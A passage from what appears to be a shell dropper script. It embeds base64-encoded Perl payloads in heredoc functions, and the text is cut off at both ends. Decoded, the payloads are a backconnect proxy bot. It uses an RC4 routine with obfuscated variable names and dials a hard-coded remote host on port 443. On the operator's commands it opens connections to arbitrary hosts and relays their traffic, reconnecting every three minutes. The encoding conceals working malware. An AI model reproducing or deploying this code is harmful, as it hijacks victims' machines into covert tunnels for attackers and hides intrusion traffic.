JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_38() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODcnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 